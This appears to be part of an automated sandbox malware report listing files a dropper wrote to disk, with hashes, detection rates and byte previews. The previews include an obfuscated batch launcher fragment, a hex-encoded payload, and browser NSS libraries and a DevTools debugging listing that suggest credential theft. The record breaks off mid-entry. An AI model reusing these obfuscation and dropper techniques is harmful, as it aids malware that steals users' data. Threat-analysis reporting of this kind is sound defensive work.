C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1803264
Entropy (8bit):	7.9456730481327895
Encrypted:	false
SSDEEP:	24576:/t+5NysdxkDawuQyEZYc7pZHgstxSgLVJ8I6xxqwcUxH3sK+8BkItzaX0opJsXGY:17okDfZb7p7AGd0x8KhHo6GOE4l
MD5:	F1342D3C266F900B0F741A88D34C2C66
SHA1:	969F00C1D09C99F2ADEBE3898B42EE97D9E1C53C
SHA-256:	A2690A898A227466FA7C8BABA05A72ED5C48EC224CC1D7B4F44F2313E830DC23
SHA-512:	75790FB1BB16DF9467A8280E976018F75500D9E9EF275DBA5807C21CCE5A24D2C67F8F1E6CDE1EA41831DCF8C470A9069F6DE4A8AAB6F1BDAB246D1D0AF83926
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........PE..L...<.Jg....................."........i...........@...........................i...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..*...$......v..............@...vhfoedue......O......x..............@...uyqyjagh.....pi......^..............@....taggant.0....i.."...b..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4470272
Entropy (8bit):	7.985553037721091
Encrypted:	false
SSDEEP:	98304:ynWDFTUsEAkNTxVYZYaHHRR3d1Iz/QGx/9SxsTuVkGc5Wi+w4Ofj:1wN2THHRRN1Q/Jx/IKTuVKWfw4
MD5:	B5ABF47A49656B3B5899E1ECA32C73BE
SHA1:	0CB75B9A23D98CA7D9DD0118538DEF0AF2B8882E
SHA-256:	6BC099665FB8A0CAA626A3178A50250200469A895D264FF9B9651A8BBB432D03
SHA-512:	3ACCADC33E53BD6F50110A3F36907105202A260E7E0911B02A83B34970CFC448C24B19645BA7191E402C94D4B9137FECCEE25EAA9C3F118AADEF5EC56182FCBE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Jg...............(..G..fw..2............G...@...................................D...@... ............................._.t.s.....t............................................................................................................. . ..t......2(.................@....rsrc.........t......B(.............@....idata ......t......D(.............@... ..9...t......F(.............@...xjkpyrbo............H(.............@...kfdwlzfd..............D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	6.515603608355807
Encrypted:	false
SSDEEP:	768:OaN/DvXlBxuaF8bKLSBVIFA/ZA6A+3jL/sXNumG3buQF:OkTXlBkaF9SoSZs+zIX435
MD5:	28AA976A72FBB885B3FA3EEEC9016BB5
SHA1:	41F5A5174266183DFF1B8A6D24A7F42D2124D8CF
SHA-256:	773602A44B14923E3607357CAA1B8733BEFCED2ECA95384921E67B5DDFBCDE62
SHA-512:	B4F8C738E573B14A75DE45CA3DF9D03B7A53927607A6B7CFFC90F3C3C5A9DA6579084E782F7AED7754F609B4BC9F592E1BA3D00C4C6A35F5FD49959CB2DEF3C9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...(.Kg.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@..\........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.349294141286748
Encrypted:	false
SSDEEP:	48:SfNaoQaG1TEQaLfNaoQp1YQpLfNaoQ6Zr0Q6ZMfNaoQA20UrU0U8QF:6NnQaG1TEQajNnQp1YQpjNnQpQ3NnQl2
MD5:	980ECAAC81D7D8F4ACB181CF499198EA
SHA1:	AB7FC413AA1B005036BC14C6A87C7CB4DFA1ACE9
SHA-256:	B1B609B68A4D0A67532E9C1D2FBC4D8B04161E88EFCDF7CDEFFD90499C2FCAEC
SHA-512:	8F1901F448B7ADB1C78F93A03E4F9ABCD70DC7BC572635D2979E527BEB93773E7276ECB08E2572FC8B8774B12328A2D639AA4741EDDB2CD53A6A181BFE881815
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/3E2780FFF6135FD9201D92CA5DEC2757",.. "id": "3E2780FFF6135FD9201D92CA5DEC2757",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/3E2780FFF6135FD9201D92CA5DEC2757"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/DEFC5DE2CAC2FA8EE357259FC401AD22",.. "id": "DEFC5DE2CAC2FA8EE357259FC401AD22",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/DEFC5DE2CAC2FA8EE357259FC401AD22"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1890816
Entropy (8bit):	7.948613172544396
Encrypted:	false
SSDEEP:	49152:LhMHKcwnHHKtsp1G61drUYDhJaSRseiHXKn:1MHKJHKtsp1NrLDhJaSGXHa
MD5:	99C1F3545CC82F35F8C68AE3145529BE
SHA1:	37DBBD25BFA9BCBB39B4E3E1CC63449D0E49A6DF
SHA-256:	E65CAC76DF90AC40AD2B721F1AD56E3A7D11EC8950D32C259987B0BFEF7ED9C1
SHA-512:	80C45BD025F65337CFF86C840A4F06D5A52C5571CED3EF47725A8BDADA43EAE931184742F4070EFA29D8C96AFD978D59F083E0BE2311552E00B604B9652CCCEA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....XKg............................. K...........@..........................PK...........@.................................\P..p....@.......................Q...................................................................................... . .0.......F..................@....rsrc........@.......V..............@....idata .....P.......X..............@... .P+..`.......Z..............@...arzmofiy.`....0..X...\..............@...wqqjackv......K.....................@....taggant.0... K.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\build.exe_Melted[1].exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	4684805
Entropy (8bit):	3.991719488668223
Encrypted:	false
SSDEEP:	24576:41xGbo+2mTPCQLJqN1c4b+kbZwr4RDKu9iBpwV91+EaGqUEUNoCayZafIsXQqty5:g
MD5:	9819A3605662F876341BF4E57549B0AF
SHA1:	4E0F0AE861E00D6BEA886CACF046AB25D9A72395
SHA-256:	D0A00959A13630EC04C81D9C0B74899436263B5CD5E54F567946AF43F60A36D1
SHA-512:	0B17CD5F919BE1380B2D498E4C9512440F900DCA107215BDA2E7F2F192FD801F835B79D471D374B445FF3C9723749F7945DACB13B16455C2079F791F7E29BBEB
Malicious:	false
Preview:	01--EA1B694ECEDECECECE8ECECECECECECECECECECECECECECECACECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECECEC94ECECECE2F356E2EC58E521CD54EDA021CDB884859FCC9C9E838B9E8D81CC8F8D82828398CC8E89CC9E9982CC8582CCA8A3BFCC81838889C2C8ECECBCA9ECEC886AEBEC3895A78BECECECECECECECEC1CECCEECE7EEE2ECEC08EEECEC3ACCECECECECECACFDECECECFCECECECECECACEDECECECECFCECECECEEECECEAECECECECECECECEAECECECECECECECECCCC8ECECE8ECECECECECECEEEC8C6DECECFCECECECECECECFCECECECECECECECECFCECECECECECECFCECECECECECECECECECECFCECECECECECECECECECECECC49FEFECBCECECECECECECECECECECECEC3CCFEC2CF9ECECECECECECECECECECECFCC8EC7CE6ECECECECECECECECECECECECECECECECECECECECECECECECECEC3CEFEFECC4ECECECC487EFECD4EDECECECECECECECECECEC9C9AEFEC14EEECECECECECECECECECECECECECECECECECECECECECECECECECECC298899498ECECECAA0EEEECECFCECECEC08EEECECE8ECECECECECECECECECECECECECECCCECEC8CC29E888D988DECEC2472ECECECECEFECEC4CECECEC04EEECECECECECECECECECECECECECACECECACC2888D988DECECEC2DCCCCECEC4CEFECECFCCCECEC64EFECECECECECECECECECECE

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4429312
Entropy (8bit):	7.977973565981823
Encrypted:	false
SSDEEP:	98304:hJadseutdeAZ8vHWVgRQobZudPGVn+i+j9uRhLzh+trJv7cjlX0+F6MgPn:kPcNSvQ6QoZudTi+E5dqiZQN
MD5:	078FB89D17811746084F23019F031364
SHA1:	64B72486391CECA46C8E39376351C31350F9903A
SHA-256:	095022F62881027C32219409672DE938854DAE25F088CEB5ACBF709E85B7D691
SHA-512:	0C3761130A46AC40181270A3C4B6A0E33AFBE8A5D579C775943446FC7C112F30E5C15EB4E900244967E2CB5CDFB37E4AD6E693CA9B7CAA9FDD1F2F921B121427
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P.Gg...............(..H...v..2........... H...@..................................6D...@... ............................._.s.s....ps......................c...............................b...................................................... . .`s......D(.................@....rsrc........ps......T(.............@....idata ......s......V(.............@... ..7...s......X(.............@...rtjzuflj. ...P.......Z(.............@...bnlzohot.....p.......pC.............@....taggant.0......."...tC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2797568
Entropy (8bit):	6.514411317957085
Encrypted:	false
SSDEEP:	24576:Q8vRGz0OIT/jWPQ7BpJpTSrkZpQxKJ/3RMTFDNg46aBDSUMz5nJXu4FjFmjHOaXs:Q8vga8888QxfXDcJXuUpJ7+ovr6
MD5:	3865F30B50E6D968568CC7ED2896D2C8
SHA1:	1B155337D42AEE4ABCFBA17F4B8F8506D44A5A38
SHA-256:	652AF1A8863F823BE8D4CD460B7764221EC61E2BEBAEC7F161138A7B7D2CB138
SHA-512:	BCF641881C70B1FA8DC3D82301BF3EB336DD2A75CC43C825FF3D953BA61FC6891CFDB9242F847BCBFCFB89E4BBF1006690E0549F604D8E193D0E9D9A24423347
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.....P8+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...prdxzixt.`......P..:..............@...jfbasxge. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	2156
Entropy (8bit):	5.410643695972776
Encrypted:	false
SSDEEP:	48:xWSU4xympgv4RIoUP7gZ9tK8NPrjg7u1iMLgeQJ4U2lp2:xLHxv2IfLZ2Kj8OLgrWllp2
MD5:	4E2ADB182B7F246EA1A6089EAA28073E
SHA1:	72A0CBE7D601C60DBDF275AEF40FC81EDD3796CB
SHA-256:	40E269FACD3290DB14514226B700AF81FDBFEA0BDCB72C47303552E5042AD915
SHA-512:	983AE61C1CF82087E3BCCEFD4FAD2F83D3DD62D378AA6C545AE0F3C19C99DEA4A4F309E768BE23AB0C78034514693C9ED28B6DA21BDA17A211954299381BFC75
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....Y.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\10001420101\build.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	2342400
Entropy (8bit):	7.915145974736611
Encrypted:	false
SSDEEP:	49152:bkSX4CsZEda/EKK1/xe3PB7NKECocnNNdQQ/xYIp30/WBkmjJwv:bkRtwZxefB8EFmNoQ/2G3jJwv
MD5:	A447405FA50A2B73FB214C4BFDC66A30
SHA1:	4AED670D8E39B99F6AD67D38D039984148755BD2
SHA-256:	B192F9784DCCF475858E97A7E9B5013A362193BC2C6CEC7C56CB9868F611E0CF
SHA-512:	05B596FA66E9424225835E823940B0A826F67FA5B87A71C0C4FA49EDDF1EF35366B6B8B7E70141AB3D11C4B3438F89205E396338E3730A8158BDA1C8C4B0725F
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....yKg.........."........... .....@..........@............................. $...........`.................................................(s..P.............#...............$.................................(...(k..8...........pv...............................text...F........................... ..`.rdata.............................@..@.data.... ....... .................@....pdata........#.......#.............@..@.00cfg........#.......#.............@..@.tls..........$.......#.............@....reloc........$.......#.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	DOS batch file, ASCII text, with very long lines (65170), with CRLF line terminators
Category:	dropped
Size (bytes):	1344165
Entropy (8bit):	6.409076441728564
Encrypted:	false
SSDEEP:	24576:cXW6wx/V5q1ghvbOGHvc/gkQBCHxG+OcQgCLjjfPEGjmuC:MXb6hmLjhB94j7jmuC
MD5:	837FDEE87E4EF7C96374F69F019AE111
SHA1:	9D9D6C1B87A0ED41B10207B6122A66CE6812CC8A
SHA-256:	6C9E009CD392A09A6859920D3BDDBF318617D0032C8F380B6989CD280B4B8CC2
SHA-512:	97E7B1BCAEF469B20BD261FE732AA4410A28218EA2DABDAD9CEC52FC414B19D69A3E60775F229CC4F80A40665CF0EED718298E8C8A0ABEFA89690C7F0C800EF0
Malicious:	false
Preview:	@echo off..set "HxdhmR=seHxdhmRtHxdhmR HxdhmRKXHxdhmRkl=HxdhmR1 &HxdhmR&HxdhmR HxdhmRstaHxdhmRrHxdhmRtHxdhmR HxdhmR""HxdhmR /HxdhmRmHxdhmRiHxdhmRn HxdhmR"..set "kEGvSe=exkEGvSeikEGvSet /kEGvSeBkEGvSe"..set "ybGHPb=ifybGHPb nybGHPboybGHPbt ybGHPbdeybGHPbfiybGHPbneybGHPbd ybGHPbKXybGHPbklybGHPb"..if %%ybGHPb:ybGHPb%%==%%ybGHPb%% (%HxdhmR:HxdhmR% %%kEGvSe:kEGvSe%%)..::g7H1/FTN1TmJMsK6/RdO6KuHyxCTKmGtwL01Ekrl9UZ8DTxeFsS5ykGtAYQoR2GIfdempLITt6f59Sk8fHuBwdP4FO+GBjX1M/9AcRy2zeI2RkzhJs7gS9ONjEGA009/s7zKxokacW9sWjsI7sFTUGT5ygRqijQr2QggmgoKoY8nZt4iHH7d+kJFAOzzEr+0+rarmJTE5iMaGLwY/K4EQaGu/YAPndZq92guD1ouHcAWR7i1BYvQ9zfBSRFQTjBMdXU71huQ+6vUBbv4CxTBKeLLcpcOoZ2IheWlvj6zTJ78gvCqWZaNYFVvHP991lzIamLPMvN/ROw1FDlEZar371Rse+yuT+AGFG2E7CrKl+2FHdtDd+l/EBlxBT01VD5BhoWHMJpGpgq5jrv4gRkbkfKp700/RtFrLICALCMrItYbloGG5kYspe61jXelRvW5wJTvgVQJ8yZDqnyk9A/wPhvDHekGzfuUrZsD3ZCbxi3NmnPwXXw4NoDb6IrmeHBrjY8kMLUwQ8MguWOWIEIRRpIa8XRj+Y1IEBD2is4A07T4xRwrD8UB0LwQj/dWd6SXJ9xkCKVxliTjy3bCP72hzYqh98rNVCXvqObrAw9nX7Lpc3N87vxx9VGA

C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4470272
Entropy (8bit):	7.985553037721091
Encrypted:	false
SSDEEP:	98304:ynWDFTUsEAkNTxVYZYaHHRR3d1Iz/QGx/9SxsTuVkGc5Wi+w4Ofj:1wN2THHRRN1Q/Jx/IKTuVKWfw4
MD5:	B5ABF47A49656B3B5899E1ECA32C73BE
SHA1:	0CB75B9A23D98CA7D9DD0118538DEF0AF2B8882E
SHA-256:	6BC099665FB8A0CAA626A3178A50250200469A895D264FF9B9651A8BBB432D03
SHA-512:	3ACCADC33E53BD6F50110A3F36907105202A260E7E0911B02A83B34970CFC448C24B19645BA7191E402C94D4B9137FECCEE25EAA9C3F118AADEF5EC56182FCBE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Jg...............(..G..fw..2............G...@...................................D...@... ............................._.t.s.....t............................................................................................................. . ..t......2(.................@....rsrc.........t......B(.............@....idata ......t......D(.............@... ..9...t......F(.............@...xjkpyrbo............H(.............@...kfdwlzfd..............D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4429312
Entropy (8bit):	7.977973565981823
Encrypted:	false
SSDEEP:	98304:hJadseutdeAZ8vHWVgRQobZudPGVn+i+j9uRhLzh+trJv7cjlX0+F6MgPn:kPcNSvQ6QoZudTi+E5dqiZQN
MD5:	078FB89D17811746084F23019F031364
SHA1:	64B72486391CECA46C8E39376351C31350F9903A
SHA-256:	095022F62881027C32219409672DE938854DAE25F088CEB5ACBF709E85B7D691
SHA-512:	0C3761130A46AC40181270A3C4B6A0E33AFBE8A5D579C775943446FC7C112F30E5C15EB4E900244967E2CB5CDFB37E4AD6E693CA9B7CAA9FDD1F2F921B121427
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P.Gg...............(..H...v..2........... H...@..................................6D...@... ............................._.s.s....ps......................c...............................b...................................................... . .`s......D(.................@....rsrc........ps......T(.............@....idata ......s......V(.............@... ..7...s......X(.............@...rtjzuflj. ...P.......Z(.............@...bnlzohot.....p.......pC.............@....taggant.0......."...tC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1010789001\build.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text, with very long lines (394)
Category:	dropped
Size (bytes):	4566
Entropy (8bit):	5.045012056765183
Encrypted:	false
